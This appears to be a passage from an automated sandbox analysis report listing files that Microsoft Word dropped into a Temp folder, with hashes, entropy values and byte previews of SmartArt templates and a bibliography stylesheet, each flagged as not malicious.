Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Local\Temp\TCDC17C.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	264
Entropy (8bit):	3.4866056878458096
Encrypted:	false
SSDEEP:	6:fxnxUX0XrZUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXWloGHmD0+dAH/luWvv
MD5:	6C489D45F3B56845E68BE07EA804C698
SHA1:	C4C9012C0159770CB882870D4C92C307126CEC3F
SHA-256:	3FE447260CDCDEE287B8D01CF5F9F53738BFD6AAEC9FB9787F2826F8DEF1CA45
SHA-512:	D1355C48A09E7317773E4F1613C4613B7EA42D21F5A6692031D288D69D47B19E8F4D5A29AFD8B751B353FC7DE865EAE7CFE3F0BEC05F33DDF79526D64A29EB18
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC17C.tmp\ThemePictureAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6448
Entropy (8bit):	7.897260397307811
Encrypted:	false
SSDEEP:	192:tgaoRbo1sMjb0NiJ85oPtqcS+yaXWoa8XBzdJYnLYFtWT7:LR1sk+i4o1qc1yaukzd8MK
MD5:	42A840DC06727E42D42C352703EC72AA
SHA1:	21AAAF517AFB76BF1AF4E06134786B1716241D29
SHA-256:	02CCE7D526F844F70093AC41731D1A1E9B040905DCBA63BA8BFFC0DBD4D3A7A7
SHA-512:	8886BFD240D070237317352DEB3D46C6B07E392EBD57730B1DED016BD8740E75B9965F7A3FCD43796864F32AAE0BE911AB1A670E9CCC70E0774F64B1BDA93488
Malicious:	false
Preview:	PK.........k.>........'......diagrams/layout1.xmlz........].r.8.}.V.?p.n....g5..JUn.....(SU......T.l.......X.d."m."..S....F..P.........-..<Y^..=..e.L....m>.pG.....M~...+\....u}o...".Yn}Y.".-r......0...'/........{........F.~.M8.d....(.....q.D.....4\.;.D,.\.)n.S....Z.cl.\|<..7._.dk..7..E.......kS...d.....i.....noX...o.W#9..}.^..I0....G.......+.K.[i.O.\|G..8=.;.8.8.8.8.....{..-..^.y..[.....`...0..f...Q<^~...l....{...pA.z.$.$R.../...E.(..Q.(V.E_ ......X]Q..Y9.......>...8......l..--.ug.......I.;..].u.b.3Lv:.d.%H..l<...V...$.M..A>...^M./.[..I....o~,.U. .$d\..?........O.;..^M..O...A.$Yx..\|f.n...H.=.\|!cG)dd%..(... ..Xe......2B."i...n....P.R..E?... Y.I6...7n..Xs..J..K..'..JaU..d..\|.(y.a.....d......D.Dr...._.._..m..Yu..6.o.\......&.m....wy...4k?..~........f....0.. \...}iS.i..R....q-#_..g........{Z.u.V.r(....j.I...,R..f.=.n.[.'..L'd.n C.0.I.....RpaV........c.k..NR....)B^k...d.i...d0.E. ^..G.']....x.c.>'..p...y.ny.P.x6..%.J\.....De.B\.

C:\Users\user\AppData\Local\Temp\TCDC19D.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	242
Entropy (8bit):	3.4938093034530917
Encrypted:	false
SSDEEP:	6:fxnxUX44lWWoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvToGHmD0+dAH/luWvv
MD5:	A6B2731ECC78E7CED9ED5408AB4F2931
SHA1:	BA15D036D522978409846EA682A1D7778381266F
SHA-256:	6A2F9E46087B1F0ED0E847AF05C4D4CC9F246989794993E8F3E15B633EFDD744
SHA-512:	666926612E83A7B4F6259C3FFEC3185ED3F07BDC88D43796A24C3C9F980516EB231BDEA4DC4CC05C6D7714BA12AE2DCC764CD07605118698809DEF12A71F1FDD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC19D.tmp\TabList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Local\Temp\TCDC19E.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	238
Entropy (8bit):	3.472155835869843
Encrypted:	false
SSDEEP:	6:fxnxUXGE2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny4GHmD0+dAH/luWvv
MD5:	2240CF2315F2EB448CEA6E9CE21B5AC5
SHA1:	46332668E2169E86760CBD975FF6FA9DB5274F43
SHA-256:	0F7D0BD5A8CED523CFF4F99D7854C0EE007F5793FA9E1BA1CD933B0894BFBD0D
SHA-512:	10BA73FF861112590BF135F4B337346F9D4ACEB10798E15DC5976671E345BC29AC8527C6052FEC86AA7058E06D1E49052E49D7BCF24A01DB259B5902DB091182
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .r.i.n.g.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC19E.tmp\rings.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Local\Temp\TCDC1AE.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.4895685222798054
Encrypted:	false
SSDEEP:	6:fxnxUX4cPBl4xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyPl4xoGHmD0+dAH/luWvv
MD5:	63E8B0621B5DEFE1EF17F02EFBFC2436
SHA1:	2D02AD4FD9BF89F453683B7D2B3557BC1EEEE953
SHA-256:	9243D99795DCDAD26FA857CB2740E58E3ED581E3FAEF0CB3781CBCD25FB4EE06
SHA-512:	A27CDA84DF5AD906C9A60152F166E7BD517266CAA447195E6435997280104CBF83037F7B05AE9D4617323895DCA471117D8C150E32A3855156CB156E15FA5864
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.r.y.i.n.g.W.i.d.t.h.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC1AE.tmp\VaryingWidthList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Local\Temp\TCDC1AF.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.4842773155694724
Encrypted:	false
SSDEEP:	6:fxnxUXDAlIJAFIloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyMlI7loGHmD0+dAH/luWvv
MD5:	923D406B2170497AD4832F0AD3403168
SHA1:	A77DA08C9CB909206CDE42FE1543B9FE96DF24FB
SHA-256:	EBF9CF474B25DDFE0F6032BA910D5250CBA2F5EDF9CF7E4B3107EDB5C13B50BF
SHA-512:	A4CD8C74A3F916CA6B15862FCA83F17F2B1324973CCBCC8B6D9A8AEE63B83A3CD880DC6821EEADFD882D74C7EF58FA586781DED44E00E8B2ABDD367B47CE45B7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.o.n.v.e.r.g.i.n.g.T.e.x.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC1AF.tmp\ConvergingText.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Local\Temp\TCDC1B0.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.538396048757031
Encrypted:	false
SSDEEP:	6:fxnxUXcel8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyMelNGHmD0wbnKYZAH/lMZqiv
MD5:	149948E41627BE5DC454558E12AF2DA4
SHA1:	DB72388C037F0B638FCD007FAB46C916249720A8
SHA-256:	1B981DC422A042CDDEBE2543C57ED3D468288C20D280FF9A9E2BB4CC8F4776ED
SHA-512:	070B55B305DB48F7A8CD549A5AECF37DE9D6DCD780A5EC546B4BB2165AF4600FA2AF350DDDB48BECCAA3ED954AEE90F5C06C3183310B081F555389060FF4CB01
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .s.i.s.t.0.2...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDC1B0.tmp\sist02.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDC1C1.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.494357416502254
Encrypted:	false
SSDEEP:	6:fxnxUX0XPE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPGHmD0+dAH/luWvv
MD5:	6F8FE7B05855C203F6DEC5C31885DD08
SHA1:	9CC27D17B654C6205284DECA3278DA0DD0153AFF
SHA-256:	B7F58DF058C938CCF39054B31472DC76E18A3764B78B414088A261E440870175
SHA-512:	C518A243E51CB4A1E3C227F6A8A8D9532EE111D5A1C86EBBB23BD4328D92CD6A0587DF65B3B40A0BE2576D8755686D2A3A55E10444D5BB09FC4E0194DB70AFE6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.G.r.i.d...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC1C1.tmp\ThemePictureGrid.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Local\Temp\TCDC1D1.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.4670546921349774
Encrypted:	false
SSDEEP:	6:fxnxUX0XPYDxUloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPYDCloGHmD0+dAH/luWvv
MD5:	3D52060B74D7D448DC733FFE5B92CB52
SHA1:	3FBA3FFC315DB5B70BF6F05C4FF84B52A50FCCBC
SHA-256:	BB980559C6FC38B703D1E9C41720D5CE8D00D2FF86D4F25136DB02B1E54B1518
SHA-512:	952EF139A72562A528C1052F1942DAE1C0509D67654BF5E7C0602C87F90147E8EE9E251D2632BCB5B511AB2FF8A3734293D0A4E3DBD3D187F5E3C042685F9A0C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.A.l.t.e.r.n.a.t.i.n.g.A.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDC1D1.tmp\ThemePictureAlternatingAccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	5630
Entropy (8bit):	7.87271654296772
Encrypted:	false
SSDEEP:	96:n5ni6jKZWsD+QJaUQ7R6qYFF5QS+BEgeJam6S7ZCHuKViGa2CnnLYLt/ht:nccqxIBdQ1QS+uDJanS7ZCHHVdJCnLY5
MD5:	2F8998AA9CF348F1D6DE16EAB2D92070
SHA1:	85B13499937B4A584BEA0BFE60475FD4C73391B6
SHA-256:	8A216D16DEC44E02B9AB9BBADF8A11F97210D8B73277B22562A502550658E580
SHA-512:	F10F7772985EDDA442B9558127F1959FF0A9909C7B7470E62D74948428BFFF7E278739209E8626AE5917FF728AFB8619AE137BEE2A6A4F40662122208A41ABB2
Malicious:	false
Preview:	PK...........<..W8...j.......diagrams/layout1.xmlz........]......Hy..{...n .l.:.D.vvW..s....-a..fg&.}.\..+......4M..'=...(._.U]U......_.....U...k}.y.,......C..._^.......w/."7....v..Ea........Q..u..D{..{v.x.]....AtB15u..o...w..o.1...f.L...I<[zk7..7^..,.h.&l3...#..)..'H..d.r.#w=b...Ocw.y.&.v..t.>.s..m^M7..8I?o7................H...b....Qv.;'..%.f..#vR....V.H.),g..`...)(..m...[l...b...,.....U...Q.{.y.y.....G.I.tT.n..N.....A.tR..tr....i.<.......,.n:.#.A..a!X.......DK..;v..._M..lSc../n...v.....}.....I.\|8.!b.C..v..\|.....4l..n.;<9.i./..}!&2.c/.r...>.X02[..\|.a.-.....$#-....>...{.M].>3.,\o.x....X%;.F.k.)*".I8<.0..#......?.h..-..O.2.B.s..v....{Abd...h0....H..I.. ...%...$1.Fyd..Y....U...S.Y.#.V.....TH(....%..nk.3Y.e.m.-.S..Q...j.Ai..E..v......4.t.\|..&"...{..4.!.h.....C.P.....W...d[.....U<Yb;B.+W.!.@B....!.=......b"...Y.N;.#..Q...0G.lW...]7:...#9!z......\|f..r..x.....t........`.uL1u.:.....U.D.n.<Q.[%...ngC./..\|...!..q;;.w.".D..lt.".l.4".mt...E..mt

C:\Users\user\AppData\Local\Temp\TCDC1F2.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.464918006641019
Encrypted:	false
